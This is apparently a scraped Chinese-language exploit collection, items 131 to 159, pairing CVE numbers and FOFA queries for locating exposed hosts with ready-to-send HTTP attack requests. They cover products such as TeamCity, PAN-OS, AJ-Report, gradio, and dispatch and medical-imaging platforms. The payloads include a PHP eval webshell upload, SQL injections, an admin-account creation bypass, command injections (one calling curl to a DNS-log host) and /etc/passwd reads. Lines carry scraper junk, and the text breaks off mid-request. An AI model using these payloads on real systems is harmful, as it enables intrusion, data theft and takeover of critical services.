------WebKitFormBoundary3OCVBiwBVsNuB2kR
: H0 h8 ^9 ^) f+ b8 @Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
3 h; ]) p6 T: G# f  {http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

* S0 f' K1 X4 O2 U5 k132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
  q4 F( F. b0 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 M/ C: C; _+ |4 o! {) uAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
1 p+ C$ e. v& H7 |" W
" @! |$ F6 \% ^5 S$ k6 D{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
! P4 B: Y! e0 G% F/ v

CVE-2024-27199
/res/../admin/diagnostic.jsp
: j3 j, c- Q6 Y4 _1 E" q. C/.well-known/acme-challenge/../../admin/diagnostic.jsp
+ U& t6 T5 D* i: ~7 N8 r/update/../admin/diagnostic.jsp


: t& L( j, K0 _. YCVE-2024-27198-RCE.py
; ?4 `* F) g( z! y9 T8 ~
( k/ g* q  I8 x133. H5 云商城 file.php 文件上传
: |5 ~# O- f( q' o7 N* O  N1 UFOFA：body="/public/qbsp.php"
: j9 a, E- k" ?1 q! L% IPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
, s* M& r+ r. O; `- y" bHost: your-ip
0 n' e( Z& y; X# L# l( l9 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

2 ?" \* p0 j, `! A8 T1 J, r: h------WebKitFormBoundaryFQqYtrIWb8iBxUCx
; c" m" e; v9 v7 T: w3 nContent-Disposition: form-data; name="file"; filename="rce.php"
" M* Y) f. |7 [2 e" TContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
# d6 n. h% D9 X* P6 a------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
# G( Z: N' n8 W9 O

1 I- z  I5 k8 I3 `" r
134. 网康NS-ASG应用安全网关index.php sql注入
3 C% p9 @4 i' ?& b& p) {" g$ OCVE-2024-2330
  P8 N) v1 j% P5 L* ZNetentsec NS-ASG Application Security Gateway 6.3版本
6 B2 U2 j9 w# B+ `9 u4 T/ r# YFOFA：app="网康科技-NS-ASG安全网关"
. H# v3 a% X7 H9 APOST /protocol/index.php HTTP/1.1
4 q) f" y0 C" V7 m7 U( ]$ iHost: x.x.x.x
2 w. q" C' D- h2 KCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
6 B2 F; y$ q: g! uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! d. M% _2 w/ W" w0 m( XAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
0 u) Z* G1 |( h/ R% fSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
8 |* g8 G1 ]4 t2 p7 E  X5 z' KTe: trailers
. Z' Y/ A6 o3 t6 T% S3 C) ^7 m+ `Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

& Z, M: H' [- X+ t0 M8 Wjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
; p( S. @. P- T
, L' G2 L2 I8 p8 a2 i! y
# `" \0 l1 ^$ ?; t- T* w0 x135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
; x, u& s( ~2 f, c) F9 a1 @6 h) }" ICVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
* x4 c7 ]( r$ i/ W7 x/ O8 x# q/ r( JGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
8 \; u0 m9 y/ i& wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 _; Y  L' j1 p2 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% H8 j9 m  m+ j+ F/ A! c; n( [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 H/ _! \7 v! H8 P

( n+ t2 U* O7 `- R, x136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
# j7 K% N+ T0 z9 O6 \+ ^8 i  pGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
" \1 S) s8 y0 p/ hAccept: */*
Accept-Language: en
/ j! G( V! X  i' [$ u* CAccept-Encoding: gzip

$ S9 U) i: h, N- M/ _& N7 U
$ `) w; i# D- K( N, ^- _137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
& h& R) W  |4 X9 G: A8 JHost: x.x.x.x
* d0 F- U, E8 n+ S& n! C3 ]; L% TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 F4 v0 v0 T3 k, X7 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# W; g6 h0 [2 y3 D- |; p+ NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
1 Y/ I0 n0 U% h+ LUpgrade-Insecure-Requests: 1

) Y  H  M$ H( ^2 k+ f5 o8 L9 R
" c% {: P. q! @5 ]138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
  H" M  x+ V+ ]. D6 H$ k' FCVE-2024-2621
) W. T' p! {5 ^! rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
% n+ z3 D/ r* o* z3 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' g' m# b1 O6 W# @6 ?5 i2 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: \1 \8 I& V( N# M3 `, ]0 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
/ f4 ^, ^; B9 @" `" dConnection: close
7 _5 E  V- [0 M- \- xUpgrade-Insecure-Requests: 1
% m2 h# N& U# L9 `3 a
# H0 }0 q' W' s
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
0 v7 n* U, j6 d+ W. [: p9 ~, O- XFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 ^2 S9 x  M/ Q2 z& [" J* v3 YGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
; e, X6 S1 Y. D  NHost: x.x.x.x
/ J) p$ {" P2 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: C6 }2 K/ S; q' i- n* r  `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
. J3 b. A' V- y% GCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
: D& S. e- w5 i8 KUpgrade-Insecure-Requests: 1

4 A# ?0 V. _  F) p, ]
  V1 q2 ~( ^1 [, `1 c8 u1 k& E140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
) a+ q' u* z+ u* u+ eCVE-2024-2566
2 [4 n* e1 R: o) g) ?% X1 ^7 UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 I2 ~( T4 a# E. D0 c3 U& c  XGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! ?2 w# D6 H( H3 J$ \) xAccept-Encoding: gzip, deflate, br
Connection: close
0 V- ]+ U# c* A5 w0 J- ?Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


; P- o! L" |% x6 q- `" S- q: Z# N4 k141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
' T7 X  m2 U! `- }* V9 A: Z+ L2 hPOST /app/ext/ajax_users.php HTTP/1.1
: Q# G  j( @& m( AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 V3 X: H* u& c3 \5 W* wContent-Type: application/x-www-form-urlencoded


* E% U: |9 ?. x; w1 G( L. A: edep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
+ a% Q+ Q6 Y- d! S/ e, g
! |) [0 @, e1 T  p9 g; ]
% _% `. w& R$ R3 b6 g' R142. CMSV6车辆监控平台系统中存在弱密码
: |( X0 f: {$ o8 A- \CVE-2024-29666
) N2 h) C/ ^$ t4 D9 jFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
3 a% C0 u+ [3 WFOFA：title='AP setup' && header='netis'
0 t  b+ e1 q! X7 {9 {3 _% N/ Q' HPAYLOAD

$ e! D, L2 t" b' f2 B2 q; S144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
  P3 U' V7 Z& N: R& k; Ysystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ n2 W$ v" T6 X' U

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
7 M/ ^7 {6 ]/ }; f/ a7 BCVE-2024-3400
# D- A8 F  l& IFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
/ i4 s4 D+ J* `, t  mHost: 192.168.30.112:1005
$ O+ I) v! {! WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
0 D9 v2 V7 z# j# U; A( XCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
7 B3 J; S# C' n" o3 }Accept-Encoding: gzip
& r& h% s, j6 D  e9 R  l
$ o% D4 w8 b# p1 k4 q& m& v' L4 ^
2 h3 a- ^  ~8 _" @3 S146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
# k! w. K: w5 Z/ w. R7 k9 f$ jFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
# v( Q. j7 H5 s+ \Accept-Charset: utf-8
# |1 \+ o- U4 ~" H4 b% yAccept-Encoding: gzip, deflate
5 {+ Z* h  X5 F0 @" [, u# U9 MConnection: close
9 Z% m3 B/ }+ G" ~
0 _; w& f6 J. }3 a, A
& v1 u2 N2 Q' _7 Y3 F147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
) Z! s' n8 V) k# j* E$ ^CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
% e3 K' E0 y. O) @. Y% _3 LCache-Control: max-age=0
( M" ]3 O2 D+ @0 MConnection: close
0 [' x) V1 M/ g
; x2 a5 }4 `: d$ @3 w! A, {" L
, n' q4 J" o5 V1 @' }148. CrushFTP 认证绕过模板注入
1 V( P& u; ?" n- e/ ZCVE-2024-4040
5 i6 P/ ?1 W, D2 _, eFOFA：body="CrushFTP"
PAYLOAD
7 ?1 h1 ^! F. \/ w& D0 K
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
% x1 J$ Y  G7 b0 |& l# t
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
* V3 G5 @9 R: ?0 a4 IHost: x.x.x.x
4 a5 x! I* z* y+ s/ s6 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 Q- i9 h8 v& ?( O+ F, \- R! HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 F6 d( f! v7 Y' |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
& b$ d' F6 {  G; ^& {: eContent-Type: application/json;charset=UTF-8
" B$ S3 M8 a. {; [  f, H$ uConnection: close

  w1 O! @. ?  B) H4 F  }1 `! l{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
6 K3 Q, @3 e4 d& p* I$ Q
150. AJ-Report 1.4.0 认证绕过与远程代码执行
  S3 _0 r: V  a2 R, MFOFA：title="AJ-Report"
9 L$ f) `& y$ E0 e: P! K. ^POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
' K4 ]& l: F5 o; D3 KHost: x.x.x.x
" k* {. e& v& wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! `% K- q3 e! w" nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 @& P2 z2 ^" }9 XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
: s/ ?9 T4 G! ]" z+ eContent-Type: application/json;charset=UTF-8
. `3 {6 n7 ]6 l6 Q' L& pConnection: close
Content-Length: 339
, A7 Q4 ~0 Z; ~- M
& i1 }: e3 Y; o( A$ K1 F{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
( N. q6 W3 \  b; S

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
: {( T0 v7 r( [# y# S3 JGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
8 R" R: ?8 Q" d; x/ Y: QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 c7 _. {& m& A1 OConnection: close
& W- y+ ]* W4 c) Y+ Z) GAccept-Encoding: gzip


" o$ ?5 y( w  U/ `! f' O9 q152. Progress Kemp LoadMaster 远程命令执行
* I9 Y1 p# l; n6 c, u! d3 ZCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
: I7 j# G7 x8 J, Z8 I) ]3 wLoadMaster<=7.2.54.8 (LTSF)
2 h( S  k$ ^7 ]LoadMaster <= 7.2.48.10 (LTS)
8 t" R, b3 U& JFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
8 M; e" D1 C% b" QGET /access/set?param=enableapi&value=1 HTTP/1.1
+ D) a7 v: R) UHost: x.x.x.x
; {5 Q  o) z/ M, _2 K$ u1 `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
1 K. I' r; M, N8 H$ Y! Z0 y- vConnection: close
Accept: */*
, F4 C# t  U0 \7 f2 }6 GAccept-Language: en
7 ]$ A; [1 W5 T% k3 Z+ uAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
; m( J( |* f2 `& e% V) c
0 G9 x8 N0 O, h7 b: h, \& G
. X$ I1 ^! p2 u5 x153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
" e1 x' L0 e. I- Xhttp://x.x.x.x/config

  K4 I4 T3 T! t. d5 N' x$ a0 a
6 j+ z2 [$ [2 [/ `; S, C1 n7 t- |2 i第二步，将/etc/passwd的内容写入到一个临时文件
+ |7 D) Q  K/ GPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
$ y1 e, D$ r: g. x$ y9 x$ oContent-Length: 115
& U1 k- I3 U0 t; m/ ?" HContent-Type: application/json
Accept-Encoding: gzip
5 Y& R( o3 Z) y$ a  t1 e
% x3 B% w. q9 i) J! e% f+ x{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
, H8 X' N9 n* D5 a5 f/ {
+ F+ g( Z( Q4 o, Y! O; t, z
第三步访问
, m. Z4 R/ i- c: t1 |http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

; m0 G/ [2 L  w- s
# p* O: f: [7 f0 O* W154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
" ]4 J$ E- i! T# S( w3 bHost: x.x.x.x
Content-Length: 106
2 Y$ v' E# K7 fCache-Control: max-age=0
# l; `7 p6 J! ]- g% r! AUpgrade-Insecure-Requests: 1
$ s% @2 X' i( v4 O) O3 A* cOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ ?* t5 |7 Q! m& M( Q/ `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ y' m  D0 X4 r6 `% ^" L3 hReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
! @' l$ c8 {* D$ p- z! p
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

: U! \: W% T$ m& R
" z0 @( W% A. L( e/ ~$ V( x155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
7 G% J7 Y! M+ h& kHost: x.x.x.x
9 G+ t7 S! {6 Q' r2 @4 S6 S9 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
+ k; v; b; ^+ p4 N0 @Accept: application/json, text/javascript, */*; q=0.01
9 t6 r9 Y2 u. h9 s2 G3 x7 P& fAccept-Encoding: gzip, deflate, br
* p* A( m" \2 N# S# qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( K; a: _. b, q2 u7 y  y' ~Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
+ a- `: ], M4 K* ]- ^/ ~0 jX-Requested-With: XMLHttpRequest
5 C, T' ?' K9 V
% F) ~" u2 l# }8 [-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
2 {- e0 |, z6 W6 L6 sContent-Type: image/png
1 l& i* ]: C2 B$ n# b
$ E0 P+ h5 P% g0 c# T+ @& s( V<?php phpinfo();unlink(__FILE__);?>
, W3 B1 Y3 J) {3 k-----------------------------qttl7vemrsold314zg0f--

5 X! C* ^( M  C. G- X
% U+ [2 F8 z! V: J' N$ \7 N, R& z访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

$ H2 t0 Z6 T# O2 R4 V, [# Q156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
+ t  _( a; K3 p- H+ Y·TBK DVR-4104
; a$ g; t7 u% N5 m0 L" q·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
1 B2 ~* v, f1 m1 Y1 u& KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
, `$ y9 d! C, G5 T! GCookie: uid=1
0 b* `5 w" ]1 \5 p+ bAccept-Encoding: gzip

% h! D" h/ Z* v0 ?# Z) C9 C4 j: n
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
* V6 z5 M. _4 A, _6 g- v& u2 c4 nFOFA：body="/common/scripts/basic.js"
# C% x6 ^* T% Q( V& K: JPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ z( N8 d. _5 M6 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: I% r8 a& F/ A; P. SCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

' J3 C0 z" j) k: @4 j9 R------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
/ j8 {* G+ \, X% E" b% UContent-Type: application/octet-stream
+ ^" d. ^5 L/ g3 r! l* V  _% C* b
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
) z2 T$ w0 `1 ~" a; d+ p0 }Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
/ ]2 s! c7 a9 Y, J* n! n
null
6 ^2 G5 W+ g- f, }/ Y( l1 F, g------WebKitFormBoundary1imovELzPsfzp5dN
* r% C  M8 E0 f1 ]1 E( ~/ X* LContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
7 e4 U# s& J' T
5 @0 b2 a  @2 Wnull
. D" H$ E  r7 y) C: T& U------WebKitFormBoundary1imovELzPsfzp5dN--
' g& b! ~/ c0 g  _
9 ~9 m' P5 a2 N  L4 ]6 ^, L; d
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
5 m4 I  m+ {# U4 d4 BCVE-2024-32640
FOFA："Generator: Masa CMS"
3 T. E% w: h, f( SPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
) a$ X" V+ `& r  v5 x& h6 l8 ZHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

% k7 r0 w$ M, \- @object=displayregion&contenthistid=x\'&previewid=1


8 f2 @. D! d* u, g7 N4 E159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  P2 b0 j' A: s, `8 W3 bContent-Length: 1080
  x6 U& N* A  LAccept-Encoding: gzip, deflate
Connection: close
1 a: h/ ~& V9 Y$ SContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
: y  }& y% A1 e" w<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
3 p- ~! S& \/ C% r5 V/ D1 S8 k7 J<subFolder></subFolder>
1 g" H0 y# y1 @3 o! W% Y<fileName>abcrce.asmx</fileName>
